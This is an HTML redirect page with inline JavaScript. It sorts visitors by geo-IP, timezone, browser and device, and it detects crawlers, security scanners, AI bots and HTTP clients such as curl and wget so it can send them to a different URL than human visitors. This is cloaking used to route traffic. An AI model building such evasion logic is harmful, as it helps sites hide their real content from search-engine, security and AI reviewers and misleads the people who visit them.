<!DOCTYPE html> <html lang="x-default"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>welcome</title> <style> .table-container { display: table; width: 100%; height: 90vh; } .table-cell { display: table-cell; text-align: center; vertical-align: middle; } .table-cell div { width: 200px; height: 100px; } </style> </head> <body style="background-image:url('');background-size: cover;background-color:#F001CB"> <div class="table-container"> <div class="table-cell"><h1 style="color: white;">Loading……</h1></div> </div> <script> (function() { var CONFIG = { enabled: true, // false = revert to original logic api: 'https://geoip.72.chat/api/geo', // geo-IP endpoint (fixed) timeoutMs: 800, overseasMode: 'aipages', // 'aipages' (default) | 'urldance' (rollback) overseasUrl: 'https://others.aipages.dev/en', // 'aipages' -> this url + search urldanceHost: 'urldance.com', // 'urldance' -> https://<date>.urldance.com/en + search cnUrl: 'https://20260204.72.chat/two', // stage 2 (CN browser) -> this url + search botTarget: 'aipages', // ALL non-human (A-level): 'aipages' (default) | 'daohang' botAipagesUrl: 'https://robots.urldance.com/en', // non-human -> this + search botDaohangUrl: 'https://www.72.chat/daohang.html', // --- device split (2026-10-13) --- mobileMode: 'original', // 'original' (run original branches) | 'stay' | 'urldance' pcCnAction: 'branch', // PC + domestic IP: 'branch' (run original branches) | 'stay' // --- reduce API calls (2026-10-11) --- cacheKey: 'geo_overseas_v1', // localStorage cache key cacheTtlDays: 15, // cache lifetime (days) tzFilter: true, // skip API when timezone is domestic domesticTz: 'Asia/Shanghai' }; var search = window.location.search; var d = new Date(); var dateParam = d.getFullYear() + '-' + String(d.getMonth()+1).padStart(2,'0') + '-' + String(d.getDate()).padStart(2,'0'); function originalBehavior() { window.location.href = 'https://' + dateParam + '.' + CONFIG.urldanceHost + '/en' + search; } function jumpOverseasTarget() { if (CONFIG.overseasMode === 'urldance') { originalBehavior(); } else { window.location.href = CONFIG.overseasUrl + search; } } function readGeoCache() { try { var raw = localStorage.getItem(CONFIG.cacheKey); if (!raw) return null; var o = JSON.parse(raw); if (!o || typeof o.is_overseas !== 'boolean') return null; if (Date.now() - (o.ts || 0) > CONFIG.cacheTtlDays * 86400000) { localStorage.removeItem(CONFIG.cacheKey); return null; } return o.is_overseas; } catch (e) { return null; } } function writeGeoCache(isOverseas) { try { localStorage.setItem(CONFIG.cacheKey, JSON.stringify({ ts: Date.now(), is_overseas: isOverseas })); } catch (e) {} } function isDomesticTz() { try { return (Intl.DateTimeFormat().resolvedOptions().timeZone || '') === CONFIG.domesticTz; } catch (e) { return false; } } function isCNBrowserOrZh() { var ua = navigator.userAgent || ''; var CN_UA = ['UCBrowser','UCWEB','Quark','QuarkPC','BaiduBrowser','baidubrowser', 'SogouMobileBrowser','Metasr','metaseeker','360SE','360EE','QihooBrowser', '360browser','HuaweiBrowser','HUAWEI','HBPC','MiuiBrowser','XiaoMi', 'VivoBrowser','HeyTapBrowser','LBBROWSER','2345Explorer','Maxthon','TheWorld']; for (var i = 0; i < CN_UA.length; i++) { if (ua.indexOf(CN_UA[i]) > -1) return true; } var lang = String((navigator.languages && navigator.languages[0]) || navigator.language || '').toLowerCase(); return lang.substring(0, 2) === 'zh'; } /* "original branches": CN browser / zh -> cnUrl ; otherwise -> urldance/en (original route) */ function runOriginalBranches() { if (isCNBrowserOrZh()) { window.location.href = CONFIG.cnUrl + search; } else { originalBehavior(); } } /* ---- mobile detection (lowest false-positive combo) ---- * mobile UA token OR (touch support AND narrow screen). * The narrow-screen guard keeps touch-screen LAPTOPS (wide) classified as PC. */ function isMobileDevice() { var ua = navigator.userAgent || ''; if (/iPhone|iPod|iPad|Android|Mobile|Windows Phone|BlackBerry|Opera Mini|IEMobile|Tablet|Silk/i.test(ua)) return true; try { var touch = ('ontouchstart' in window) || (navigator.maxTouchPoints > 0); var narrow = Math.min(screen.width || 0, screen.height || 0) < 768; return touch && narrow; } catch (e) { return false; } } /* ================= bot detection ================= */ // A-level: 100% non-human. Deliberately conservative - never matches a real browser. var HTTP_CLIENTS = ['curl', 'wget', 'python-requests', 'python-urllib', 'go-http-client', 'okhttp', 'axios', 'node-fetch', 'undici', 'postmanruntime', 'insomnia', 'scrapy', 'libwww-perl', 'java/', 'lightpanda']; var BOT_TOKENS = ['googlebot', 'bingbot', 'msnbot', 'baiduspider', 'yisouspider', 'sosospider', '360spider', 'haosouspider', 'shenmaspider', 'bytespider', 'yandexbot', 'duckduckbot', 'applebot', 'petalbot', 'ahrefsbot', 'semrushbot', 'mj12bot', 'dotbot', 'ccbot', 'gptbot', 'claudebot', 'perplexitybot', 'amazonbot', 'oai-searchbot', 'ia_archiver', 'exabot', 'blexbot', 'seznambot', 'uptimerobot', 'pingdom', 'censys', 'shodan', 'reflectionbot', 'facebookexternalhit', 'meta-webindexer', 'meta-externalagent', 'twitterbot', 'telegrambot', 'discordbot', 'archive.org_bot']; var CRAWLER_RE = /\b(bot|spider|crawler|slurp)\b/i; // word boundary: matches "Sogou web spider", NOT "robot" function detectDefiniteBot() { var ua = String(navigator.userAgent || '').replace(/\s+/g, ' ').trim(); try { if (navigator.webdriver === true) return 'webdriver'; } catch (e) {} var lua = ua.toLowerCase(); for (var i = 0; i < HTTP_CLIENTS.length; i++) { if (lua.indexOf(HTTP_CLIENTS[i]) !== -1) return 'http-client:' + HTTP_CLIENTS[i]; } if (ua === '' || ua === '-') return 'ua-empty'; if (lua.indexOf('headless') !== -1) return 'headless'; var m = CRAWLER_RE.exec(ua); if (m) return 'crawler:' + m[1].toLowerCase(); for (var j = 0; j < BOT_TOKENS.length; j++) { if (lua.indexOf(BOT_TOKENS[j]) !== -1) return 'crawler:' + BOT_TOKENS[j]; } return null; } function logBotSignals() { var s = []; try { if ((navigator.languages || []).length === 0) s.push('no-languages'); } catch (e) {} try { if ((screen.width || 0) === 0 || (screen.height || 0) === 0) s.push('screen-0'); } catch (e) {} try { if ((window.outerWidth || 0) === 0 || (window.innerWidth || 0) === 0) s.push('viewport-0'); } catch (e) {} var ua = String(navigator.userAgent || '').trim(); if (ua.length > 0 && ua.length < 20) s.push('ua-short:' + ua.length); try { var tz = Intl.DateTimeFormat().resolvedOptions().timeZone || ''; var lang = (navigator.language || '').toLowerCase(); if (tz === 'UTC' && lang.indexOf('en') === 0 && screen.width === 800 && screen.height === 600) s.push('combo-utc-en-800x600'); } catch (e) {} if (s.length) { try { console.log('[geo] bot-signals(B): ' + s.join(',')); } catch (e) {} } } /* ---- 0. A-level bot check (very first) ---- */ logBotSignals(); if (CONFIG.enabled === true) { var botRule = detectDefiniteBot(); if (botRule) { try { console.log('[geo] definite-bot(A): ' + botRule); } catch (e) {} // ALL A-level non-human (crawler UA + webdriver + http-client + empty UA + headless) -> same bot target if (CONFIG.botTarget === 'daohang') { window.location.href = CONFIG.botDaohangUrl; } else { window.location.href = CONFIG.botAipagesUrl + search; } return; } } /* ---- 1. WeChat (unchanged) ---- */ var ua = navigator.userAgent || ''; if (ua.indexOf('MicroMessenger') > -1) { window.location.href = 'https://www.baidu.com/s?wd=www.72.chat'; return; } /* ---- master switch off -> original logic ---- */ if (CONFIG.enabled !== true) { runOriginalBranches(); return; } /* ---- 1b. Device split (2026-10-13) ---- */ // MOBILE -> pass through (no new IP analysis) if (isMobileDevice()) { if (CONFIG.mobileMode === 'stay') { return; } // page address unchanged if (CONFIG.mobileMode === 'urldance') { originalBehavior(); return; } // straight to urldance/en runOriginalBranches(); // 'original' (default) return; } // PC -> analyse IP (local cache / timezone pre-filters first, to save calls) var _c = readGeoCache(); if (_c !== null) { if (_c === true) { jumpOverseasTarget(); } // cached overseas else { if (CONFIG.pcCnAction === 'branch') { runOriginalBranches(); } } // cached domestic return; } if (CONFIG.tzFilter === true && isDomesticTz()) { if (CONFIG.pcCnAction === 'branch') { runOriginalBranches(); } return; // domestic timezone -> stay (no API call) } var settled = false; function onCn() { // domestic if (CONFIG.pcCnAction === 'branch') { runOriginalBranches(); } // else: stay (page address unchanged) } function finish(overseas) { if (settled) return; settled = true; writeGeoCache(overseas); if (overseas) { jumpOverseasTarget(); } else { onCn(); } } function fail() { if (settled) return; settled = true; runOriginalBranches(); } // unknown / error -> original branches (NOT a direct urldance jump) var ac = (typeof AbortController !== 'undefined') ? new AbortController() : null; var timer = setTimeout(function() { if (ac) { try { ac.abort(); } catch (e) {} } fail(); }, CONFIG.timeoutMs); try { fetch(CONFIG.api + '?_=' + Date.now(), { method: 'GET', mode: 'cors', cache: 'no-store', credentials: 'omit', signal: ac ? ac.signal : undefined }).then(function(r) { return r && r.ok ? r.json() : null; }) .then(function(j) { clearTimeout(timer); if (j && j.ok === true) { if (j.status === 'overseas') { finish(true); return; } if (j.status === 'cn') { finish(false); return; } if (typeof j.is_overseas === 'boolean') { finish(j.is_overseas); return; } // back-compat } fail(); // unknown / error -> original branches (never jump to test) }) .catch(function() { clearTimeout(timer); fail(); }); } catch (e) { clearTimeout(timer); fail(); } })(); </script> </body> </html>